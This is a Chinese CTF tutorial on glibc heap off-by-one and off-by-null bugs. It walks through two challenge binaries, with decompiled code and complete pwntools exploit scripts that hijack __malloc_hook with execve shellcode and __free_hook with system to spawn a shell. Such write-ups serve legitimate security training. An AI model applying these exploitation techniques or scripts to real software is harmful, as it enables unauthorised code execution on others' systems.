堆溢出 off by one & off by null

adopi

堆溢出 off by one & off by null
简介

off-by-one是一种特殊的溢出漏洞，off-by-one指程序向缓冲区中写入时，写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节。这种漏洞的产生往往与边界验证不严和字符串操作有关，也不排除写入的size正好就只多了一个字节的情况。

一般认为，单字节溢出是难以利用的，但是因为Linux的堆管理机制ptmalloc验证的松散性，基于Linux堆的off-by-one漏洞利用起来并不复杂，并且威力强大。

off-by-one是可以基于各种缓冲区的，比如栈、bss段等等，但是堆上（heap based）的off-by-one是比较常见的。
漏洞成因

在程序设置循环读取时（例如C语言的for循环），由于对于循环次数的检查不够严格，导致读取溢出了一个字节

例如：

1. char a[16];
   
2. for(int i = 0;i<=16;i++)
   
3. {
   
4.     read(0,a,1);
   
5. }

复制代码

可以看出其实这个循环进行了17次，多向a中读入了一个字节，造成了溢出，攻击者可以通过这个漏洞达成许多攻击效果
利用姿势
1.通过溢出泄露数据
原理

这种方法主要与字符串函数有关，如printf函数的%s参数，通过将字符串末尾的‘\x00’覆盖掉从而使其能够输出该字符串之后的内容，造成内存地址的泄露

例：

源代码：

1. #include<stdio.h>
   
2. #include<stdlib.h>
   
3. 
   
4. int main()
   
5. {
   
6.     char a[16];
   
7.     for(int i = 0;i<=16;i++)
   
8.     {
   
9.         read(0,a+i,1);
   
10.     }
    
11.     printf("%s",a);
    
12.     return 0;
    
13. }

复制代码

溢出了一个字节，此时当我们输入17个字符的垃圾数据后，我们便可以通过溢出的那个字节覆盖使printf能够泄露之后的数据




2.一字节溢出覆盖其他块数据

这种漏洞利用方式在堆中利用较多，具体利用如下：
知识点补充及利用

堆chunk的结构：



glibc的堆管理器只通过size域的数据来判断chunk的大小，对于size域被篡改的情况基本上无法防御只能傻傻地将这块chunk“延长”，这就给off by one构造了攻击条件。

在off by one的条件下通过一字节的溢出修改下一个堆块的size造成块结构之间出现重叠，即chunk overlap，以此可以达成另一种形式的UAF。

什么是chunk overlap
假设我们申请了三个堆块Chunk A Chunk B Chunk C
先释放chunkA，再释放chunkB，此时触发off by null修改chunkC的prev_inuse为前两个堆块大小的总和（包括chunk头）。接着释放chunkC，此时因为向后合并会获得一个大小为chunkA+chunkB+chunkC的堆块。由于chunkB其实并不是free的，接着再把chunkB申请回来，这是我们就可以对chunkB进行任意构造了。

1. [湖湘杯 2019]HackNote
   
2. ida
   
3. 
   
4. int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
   
5. {
   
6.   const char *v3; // rdi
   
7.   int v4; // eax
   
8.   __int64 v5; // rdx
   
9.   int v6; // ecx
   
10.   int v7; // r8d
    
11.   int v8; // r9d
    
12.   char v9[908]; // [rsp+20h] [rbp-390h] BYREF
    
13.   int v10; // [rsp+3ACh] [rbp-4h]
    
14. 
    
15.   init();
    
16.   v3 = "Welcome to Hacker's Note";
    
17.   writing("Welcome to Hacker's Note", argv);
    
18.   while ( 1 )
    
19.   {
    
20.     while ( 1 )
    
21.     {
    
22.       menu(v3, argv);
    
23.       v4 = shellcode();
    
24.       v10 = v4;
    
25.       if ( v4 != 2 )
    
26.         break;
    
27.       v3 = v9;
    
28.       delete(v9);
    
29.     }
    
30.     if ( v4 > 2 )
    
31.     {
    
32.       if ( v4 == 3 )
    
33.       {
    
34.         v3 = v9;
    
35.         edit(v9);
    
36.       }
    
37.       else
    
38.       {
    
39.         if ( v4 == 4 )
    
40.         {
    
41.           writing("see u ~", argv);
    
42.           sub_40F090(0LL);
    
43.         }
    
44. LABEL_13:
    
45.         v3 = "Invaild choice!";
    
46.         writing("Invaild choice!", argv);
    
47.       }
    
48.     }
    
49.     else
    
50.     {
    
51.       if ( v4 != 1 )
    
52.         goto LABEL_13;
    
53.       v3 = v9;
    
54.       add(v9, argv, v5, v6, v7, v8);
    
55.     }
    
56.   }
    
57. }
    
58. 
    
59. __int64 __fastcall add(__int64 a1, __int64 a2, __int64 a3, int a4, int a5, int a6)
    
60. {
    
61.   __int64 v6; // rdx
    
62.   __int64 v8; // rdx
    
63.   unsigned int v9; // [rsp+14h] [rbp-1Ch]
    
64.   int v10; // [rsp+18h] [rbp-18h]
    
65.   int i; // [rsp+1Ch] [rbp-14h]
    
66. 
    
67.   v10 = -1;
    
68.   for ( i = 0; i <= 15; ++i )
    
69.   {
    
70.     v6 = 8 * (i + 16LL);
    
71.     if ( !*(v6 + a1) )
    
72.     {
    
73.       v10 = i;
    
74.       a2 = i;
    
75.       sub_40FE90("You Get Index : %d\n", i, v6, a4, a5, a6);
    
76.       break;
    
77.     }
    
78.   }
    
79.   if ( v10 == -1 )
    
80.   {
    
81.     writing("List Full !");
    
82.     return 0LL;
    
83.   }
    
84.   else
    
85.   {
    
86.     writing("Input the Size:");
    
87.     v9 = shellcode();
    
88.     *(v8 + a1) = sub_41EA20(v9, a2, 8LL * v10);
    
89.     if ( *(8LL * v10 + a1) )
    
90.     {
    
91.       *(a1 + 8 * (v10 + 16LL)) = v9;
    
92.       writing("Input the Note:");
    
93.       readfile(*(8LL * v10 + a1), v9);
    
94.       writing("Add Done!");
    
95.     }
    
96.     else
    
97.     {
    
98.       writing("Allocation Failed !");
    
99.     }
    
100.     return 0LL;
     
101.   }
     
102. }
     
103. 
     
104. __int64 __fastcall delete(__int64 a1)
     
105. {
     
106.   signed int v2; // [rsp+1Ch] [rbp-4h]
     
107. 
     
108.   writing("Input the Index of Note:");
     
109.   v2 = shellcode();
     
110.   if ( !sub_400B04(v2, a1) )
     
111.   {
     
112.     writing("Invaild !!");
     
113.   }
     
114.   else
     
115.   {
     
116.     *(8 * (v2 + 16LL) + a1) = 0LL;
     
117.     sub_41EDC0(*(8LL * v2 + a1));
     
118.     *(8LL * v2 + a1) = 0LL;
     
119.     writing("Delete Done!");
     
120.   }
     
121.   return 0LL;
     
122. 
     
123. __int64 __fastcall edit(__int64 a1)
     
124. {
     
125.   signed int v2; // [rsp+1Ch] [rbp-4h]
     
126. 
     
127.   writing("Input the Index of Note:");
     
128.   v2 = shellcode();
     
129.   if ( !sub_400B04(v2, a1) )
     
130.   {
     
131.     writing("Invaild !!");
     
132.   }
     
133.   else
     
134.   {
     
135.     writing("Input the Note:");
     
136.     readfile(*(8LL * v2 + a1), *(8 * (v2 + 16LL) + a1));
     
137.     *(a1 + 8 * (v2 + 16LL)) = strlen(*(8LL * v2 + a1));//计算chunk内容的长度，会造成off by one
     
138.     writing("Edit Done!");
     
139.   }
     
140.   return 0LL;
     
141. }
     

复制代码

分析

静态编译的堆题 保护全关 没有 show 功能。

在 edit 功能中chunk 的 size 会根据 strlen 函数而修改，那么如果我们将下一个相邻的 chunk 的 prev size 填满，那么 strlen 计算的时候就会算上下一个相邻 chunk 的 size 头的8字节，就会造成 off by one 漏洞了。
过程

1. #first : off by one -> chunk overlap
   
2. add(0x18) #index 0
   
3. add(0x10) #index 1
   
4. add(0x30) #index 2
   
5. add(0x10) #index 3
   
6. add(0x30) #Index 4
   
7. edit(0, b'a'*0x18)
   
8. #off by one
   
9. edit(0, b'a'*0x18 + p8(0x61))
   
10. #dbg()
    

复制代码

1. #fastbin attack
   
2. malloc_hook = 0x6CB788
   
3. free(4)
   
4. free(2)
   
5. free(1)
   
6. add(0x50, p64(0)*3 + p64(0x41) + p64(malloc_hook - 0x16))
   

复制代码

改fd为malloc_hook

1. # change malloc_hook to shellcode
   
2. shellcode = b'\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xf6\xb0\x3b\x0f\x05'
   
3. add(0x30)
   
4. add(0x30, b'\x00'*6 + p64(malloc_hook + 8) + shellcode)
   

复制代码

改malloc_hook为shellcode，再add一次即可getshell

1. exp
   
2. 
   
3. from pwn import *
   
4. 
   
5. def s(a) : p.send(a)
   
6. def sa(a, b) : p.sendafter(a, b)
   
7. def sl(a) : p.sendline(a)
   
8. def sla(a, b) : p.sendlineafter(a, b)
   
9. def r() : return p.recv()
   
10. def pr() : print(p.recv())
    
11. def rl(a) : return p.recvuntil(a)
    
12. def inter() : p.interactive()
    
13. def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    
14. def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
    
15. 
    
16. 
    
17. context(os='linux', arch='amd64', log_level='debug')
    
18. p = process('./hacknote')
    
19. elf = ELF('./hacknote')
    
20. libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
21. 
    
22. def dbg():
    
23.     gdb.attach(p)
    
24.     pause()
    
25. 
    
26. def add(size, data = b'a'):
    
27.     sla(b'4. Exit\n-----------------\n', b'1')
    
28.     sla(b'Size:\n', str(size))
    
29.     sla(b'Note:\n', data)
    
30. def free(idx):
    
31.     sla(b'4. Exit\n-----------------\n', b'2')
    
32.     sla(b'Note:\n', str(idx))
    
33. def edit(idx, data):
    
34.     sla(b'4. Exit\n-----------------\n', b'3')
    
35.     sla(b'Note:\n', str(idx))
    
36.     sla(b'Note:\n', data)
    
37. 
    
38. malloc_hook = 0x6CB788  
    
39. 
    
40. # first : off by one -> chunk overlap
    
41. 
    
42. add(0x18) #index 0
    
43. add(0x10) #index 1
    
44. add(0x30) #index 2
    
45. add(0x10) #index 3
    
46. add(0x30) #Index 4
    
47. dbg()
    
48. edit(0, b'a'*0x18)
    
49. edit(0, b'a'*0x18 + p8(0x61))
    
50. dbg()
    
51. free(4)
    
52. free(2)
    
53. free(1)
    
54. 
    
55. # tow fastbin attack
    
56. 
    
57. add(0x50, p64(0)*3 + p64(0x41) + p64(malloc_hook - 0x16))
    
58. 
    
59. # change malloc_hook
    
60. 
    
61. dbg()
    
62. shellcode = b'\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xf6\xb0\x3b\x0f\x05'
    
63. add(0x30)
    
64. add(0x30, b'\x00'*6 + p64(malloc_hook + 8) + shellcode)
    
65. dbg()
    
66. #gdb.attach(p, 'b *0x400bf8')
    
67. #pause()
    
68. sla(b'4. Exit\n-----------------\n', b'1')
    
69. sla(b'Size:\n', str(0x10))
    
70. 
    
71. inter()

复制代码

off by null
前置知识

off by null 本质上就是由于长度的检查不严谨导致了一个空字节的溢出造成的，通常我们会用它来构造Heap Overlap或是用来触发unlink。
这些的前提是对于堆块的合并有所了解。
向前合并与向后合并
向前合并

1. 
   
2. /* consolidate forward */
   
3. if (!nextinuse) {
   
4.     unlink(av, nextchunk, bck, fwd);
   
5.     size += nextsize;
   
6. } else
   
7.     clear_inuse_bit_at_offset(nextchunk, 0);
   

复制代码

向前合并的检查：当一个chunk被free时去检查其物理相邻后一个chunk（next chunk）的prev_inuse位，若为0则证明此块已被free，若不是则将其prev_inuse位清0，执行free操作之后返回。接下来要检查下一个chunk是不是top chunk 若是则和前一块合并，若不是则进入向前合并的流程。
向前合并流程：

让nextchunk进入unlink流程
给size加上nextsize（同理也是表示大小上两个chunk已经合并了）
向后合并

1. 
   
2. /* consolidate backward */
   
3. if (!prev_inuse(p)) {
   
4.     prevsize = p->prev_size;
   
5.     size += prevsize;
   
6.     p = chunk_at_offset(p, -((long) prevsize));
   
7.     unlink(av, p, bck, fwd);
   
8. }

复制代码

先检查当前堆块的prev_inuse位是否清零，若是则进入向后合并的流程：

先把前一个堆块的位置找到即p-p->prev_inuse
修改P -> size为P -> size + FD -> size(以此来表示size大小上已经合并)
让FD进入unlink函数
利用姿势

和off by one不同，off by null溢出的是NULL字节即'\x00'

在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清，这样前块会被认为是 free 块。

    修改下一个chunk的inuser位，来unlink

    修改下一个chunk的size，来chunk overlap

一定要申请以0x100整数倍大小的堆块，例0xf8,这样可以正好写到下一个chunk的prev_inuse位。

1. [巅峰极客 2022] samllcontainer
   
2. ida
   
3. 
   
4. int __cdecl main(int argc, const char **argv, const char **envp)
   
5. {
   
6.   unsigned __int64 v4; // [rsp+8h] [rbp-8h]
   
7. 
   
8.   init(argc, argv, envp);
   
9.   while ( 1 )
   
10.   {
    
11.     menu();
    
12.     v4 = (int)retnum();
    
13.     if ( v4 == 5 )
    
14.       break;
    
15.     if ( v4 > 5 )
    
16.       goto LABEL_13;
    
17.     switch ( v4 )
    
18.     {
    
19.       case 4uLL:
    
20.         show();
    
21.         break;
    
22.       case 3uLL:
    
23.         edit();
    
24.         break;
    
25.       case 1uLL:
    
26.         add();
    
27.         break;
    
28.       case 2uLL:
    
29.         delete();
    
30.         break;
    
31.       default:
    
32. LABEL_13:
    
33.         puts("Invalid choice.");
    
34.         break;
    
35.     }
    
36.   }
    
37.   puts("Goodbye!");
    
38.   return 0;
    
39. }
    
40. 
    
41. size_t add()
    
42. {
    
43.   size_t result; // rax
    
44.   int i; // [rsp+4h] [rbp-Ch]
    
45.   size_t size; // [rsp+8h] [rbp-8h]
    
46. 
    
47.   for ( i = 0; ; ++i )
    
48.   {
    
49.     if ( i > 16 )
    
50.       exit(0);
    
51.     if ( !heappp[i] || !sizeee[i] )
    
52.       break;
    
53.   }
    
54.   printf("Input size: ");
    
55.   size = (int)retnum();
    
56.   if ( size <= 0xFF || size > 0x3FF )
    
57.     exit(0);
    
58.   heappp[i] = malloc(size);
    
59.   result = size;
    
60.   sizeee[i] = size;
    
61.   return result;
    
62. }
    
63. 
    
64. QWORD *delete()
    
65. {
    
66.   _QWORD *result; // rax
    
67.   unsigned __int64 v1; // [rsp+8h] [rbp-8h]
    
68. 
    
69.   printf("Input index: ");
    
70.   v1 = (int)retnum();
    
71.   if ( v1 > 0x10 || !heappp[v1] || !sizeee[v1] )
    
72.     exit(0);
    
73.   free((void *)heappp[v1]);
    
74.   heappp[v1] = 0LL;
    
75.   result = sizeee;
    
76.   sizeee[v1] = 0LL;
    
77.   return result;
    
78. }
    
79. 
    
80. __int64 edit()
    
81. {
    
82.   unsigned __int64 v1; // [rsp+8h] [rbp-8h]
    
83. 
    
84.   printf("Input index: ");
    
85.   v1 = (int)retnum();
    
86.   if ( v1 > 0x10 || !heappp[v1] || !sizeee[v1] )
    
87.     exit(0);
    
88.   read(0, (void *)heappp[v1], sizeee[v1]);
    
89.   return check((_BYTE *)heappp[v1]);
    
90. }
    
91. 
    
92. int show()
    
93. {
    
94.   unsigned __int64 v1; // [rsp+8h] [rbp-8h]
    
95. 
    
96.   printf("Input index: ");
    
97.   v1 = (int)retnum();
    
98.   if ( v1 > 0x10 || !heappp[v1] || !sizeee[v1] )
    
99.     exit(0);
    
100.   return printf("%lx", *(_QWORD *)heappp[v1]);
     
101. }
     

复制代码

分析

两次利用off by null修改size域和prev_inuse位实现chunk overlap和unlink绕过
过程

1. 
   
2. for i in range(8):
   
3.     add(0x250) #0 ~ 7
   
4. for i in range(7, -1, -1):
   
5.     free(i)
   
6. for i in range(7):
   
7.     add(0x250) #0 ~ 6
   
8. add(0x120) #7
   
9. show(7)
   
10. libc_base = int(p.recv(12), 16) - 0x2c0 - libc.sym['__malloc_hook']
    
11. print(' libc_base : ', hex(libc_base))
    

复制代码

先泄露出libc基址

1. # off by null -> chunk overlap
   
2. add(0x120) #index 8
   
3. for i in range(9):
   
4.     free(i)
   
5. 
   
6. for i in range(7):
   
7.     add(0x1f0) #0 ~ 6
   
8. add(0x1f0) #7
   
9. add(0x108) #8
   
10. add(0x200) #9
    
11. add(0x108) #10
    
12. add(0x108) #11
    
13. 
    
14. for i in range(7):
    
15.     free(i) #index 0 ~ 6
    
16. free(7)
    
17. 
    
18. edit(8, b'\x11'*0x108)
    
19. edit(8, b'\x11'*0x100 + p16(0x310))
    
20. edit(9, b'\x00'*0x1f8 + p64(0x121))
    
21. 
    
22. free(9) # unlink attack
    

复制代码

利用off by null填满tcachebin

1. free(11)
   
2. free(8)
   
3. add(0x300) #0
   
4. edit(0, b'\x00'*0x200 + p64(free_hook - 8))
   
5. add(0x108) #1
   
6. add(0x108) #2
   
7. edit(2, p64(0) + p64(system)
   

复制代码

改freehook为system

接下来free一个填入了'bin/sh'的堆块即可getshell


exp

1. from pwn import*
   
2. 
   
3. context(os='linux', arch='amd64', log_level='debug')
   
4. 
   
5. def s(a) : p.send(a)
   
6. def sa(a, b) : p.sendafter(a, b)
   
7. def sl(a) : p.sendline(a)
   
8. def sla(a, b) : p.sendlineafter(a, b)
   
9. def r() : return p.recv()
   
10. def pr() : print(p.recv())
    
11. def rl(a) : return p.recvuntil(a)
    
12. def inter() : p.interactive()
    
13. def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    
14. def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
    
15. 
    
16. 
    
17. p = process('./pwn')
    
18. elf = ELF('./pwn')
    
19. libc = ELF('./libc-2.27.so')
    
20. def dbg():
    
21.     gdb.attach(p)
    
22.     pause()
    
23. def add(size):
    
24.     sla(b'> ', b'1')
    
25.     sla(b'size: ', str(size))
    
26. def free(idx):
    
27.     sla(b'> ', b'2')
    
28.     sla(b'index: ', str(idx))
    
29. def edit(idx, data):
    
30.     sla(b'> ', b'3')
    
31.     sla(b'index: ', str(idx))
    
32.     s(data)
    
33. def show(idx):
    
34.     sla(b'> ', b'4')
    
35.     sla(b'index: ', str(idx))
    
36. 
    
37. 
    
38. # leak libc_base
    
39. 
    
40. for i in range(8):
    
41.     add(0x250) #0 ~ 7
    
42. for i in range(7, -1, -1):
    
43.     free(i)
    
44. for i in range(7):
    
45.     add(0x250) #index 0 ~ 6
    
46. add(0x120) #7
    
47. show(7)
    
48. libc_base = int(p.recv(12), 16) - 0x2c0 - libc.sym['__malloc_hook']
    
49. print(' libc_base : ', hex(libc_base))
    
50. dbg()
    
51. 
    
52. # off by null -> chunk overlap
    
53. 
    
54. add(0x120) #index 8
    
55. for i in range(9):
    
56.     free(i)
    
57. 
    
58. for i in range(7):
    
59.     add(0x1f0) #0 ~ 6
    
60. add(0x1f0) #7
    
61. add(0x108) #8
    
62. add(0x200) #9
    
63. add(0x108) #10
    
64. add(0x108) #11
    
65. 
    
66. for i in range(7):
    
67.     free(i) #index 0 ~ 6
    
68. free(7)
    
69. 
    
70. edit(8, b'\x11'*0x108)
    
71. edit(8, b'\x11'*0x100 + p16(0x310))
    
72. edit(9, b'\x00'*0x1f8 + p64(0x121))#change prev_inuse
    
73. 
    
74. free(9) # unlink attack
    
75. dbg()
    
76. 
    
77. # free_hook -> system
    
78. 
    
79. free_hook = libc_base + libc.sym['__free_hook']
    
80. system = libc_base + libc.sym['system']
    
81. free(11)
    
82. free(8)
    
83. add(0x300) #0
    
84. edit(0, b'\x00'*0x200 + p64(free_hook - 8))
    
85. add(0x108) #1
    
86. add(0x108) #2
    
87. edit(2, p64(0) + p64(system))
    
88. dbg()
    
89. edit(1, b'/bin/sh\x00')
    
90. free(1)
    
91. inter()

复制代码

来源：【https://xz.aliyun.com/】，感谢【rdp 】